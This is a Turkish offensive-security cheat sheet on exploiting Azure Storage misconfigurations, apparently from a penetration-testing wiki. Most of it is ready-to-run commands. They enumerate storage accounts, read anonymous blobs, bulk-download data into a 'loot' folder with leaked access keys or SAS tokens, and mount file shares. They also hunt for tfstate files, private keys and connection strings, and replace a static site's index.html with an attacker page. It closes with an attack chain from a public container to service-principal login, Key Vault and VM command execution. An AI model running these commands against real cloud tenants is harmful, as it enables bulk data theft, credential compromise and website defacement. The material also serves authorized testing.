Azure — Storage & Blob Suistimatı
Azure veri ifşası
Azure Storage, AWS S3’ün karşılığıdır ve benzer yanlış yapılandırma riskleri taşır: anonim erişime açık blob container’lar, sızmış access key veya aşırı yetkili SAS token’lar toplu veri sızıntısına ve bazen yazma/zehirlemeye yol açar.
Ön koşullar
Section titled “Ön koşullar”- Storage account adı (tahmin / DNS / OSINT / cloud_enum / MicroBurst)- veya az kimliği ile list-storage yetkisi- Container / blob adı (listeleme açıksa veya tahmin)curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"curl -sI "https://<account>.blob.core.windows.net/<container>/<blob>"cloud_enum -k <sirket>Invoke-EnumerateAzureBlobs -Base <sirket>Invoke-EnumerateAzureSubDomains -Base <sirket>Kimlikli:
az storage account list -o tableaz storage account show -n ACC -g RGaz storage container list --account-name ACC --auth-mode login -o tableaz storage blob list --account-name ACC -c data --auth-mode login -o tableAccount adı global benzeri benzersizdir; sirket, sirketprod, sirketbackup, sirkettfstate kalıpları yaygındır.
Erişim biçimleri
Section titled “Erişim biçimleri”-
Anonim public erişim — container erişim düzeyi Blob/Container ise listeleme veya doğrudan blob indirme kimlik gerektirmez:
Terminal window curl -sL "https://acc.blob.core.windows.net/public/config.json"Terminal window az storage blob download --account-name acc -c public -n config.json \--file out.json --auth-mode anonymous 2>/dev/null -
Access key — sızmış hesap anahtarıyla neredeyse tam kontrol:
Terminal window az storage account keys list -n ACC -g RG -o tableTerminal window az storage blob list --account-name ACC --account-key <KEY> -c dataTerminal window az storage blob download-batch --account-name ACC --account-key <KEY> \-s data -d ./loot -
SAS token — URL’ye gömülü imzalı token; sp (izin), se (expiry), srt / ss kapsamını incele:
https://acc.blob.core.windows.net/data/file?sv=2021-06-08&ss=b&srt=sco&sp=rwdl&se=2027-01-01&sig=...# sp=rwdl → read,write,delete,list — aşırı genişTerminal window az storage blob list --account-name ACC -c data --sas-token "sv=...&sig=..."
File / Table / Queue
Section titled “File / Table / Queue”az storage share list --account-name ACC --account-key KEYaz storage file list --account-name ACC --account-key KEY -s sharenamesudo mount -t cifs //ACC.file.core.windows.net/share /mnt \ -o vers=3.0,username=ACC,password=<KEY>,dir_mode=0777,file_mode=0777Yüksek değerli içerik
Section titled “Yüksek değerli içerik”terraform.tfstate / *.tfstateconnection strings, publish profiles (App Service)*.pfx, *.pem, id_rsa, .envSQL bacpac / bak / csv dumpFunction / Logic App deployment packagesIIS / web.config, appsettings.jsonaz storage blob list --account-name ACC --account-key KEY -c backups \ --query "[?contains(name, 'tfstate') || contains(name, '.env')]"Yazma / zehirleme
Section titled “Yazma / zehirleme”az storage blob upload --account-name ACC --account-key KEY \ -c \$web -n index.html -f evil.htmlaz storage account show -n ACC --query primaryEndpoints.webSaldırı zinciri
Section titled “Saldırı zinciri”cloud_enum → public container → tfstate içinde client_secret → az login --service-principal → Key Vault + VM list → Run Command / ikinci storage keyStorage genelde diğer servislerle zincirlenir: Function/App kodu, IaC state dosyaları, yedekler ve loglar; Azure privesc ile birleştir.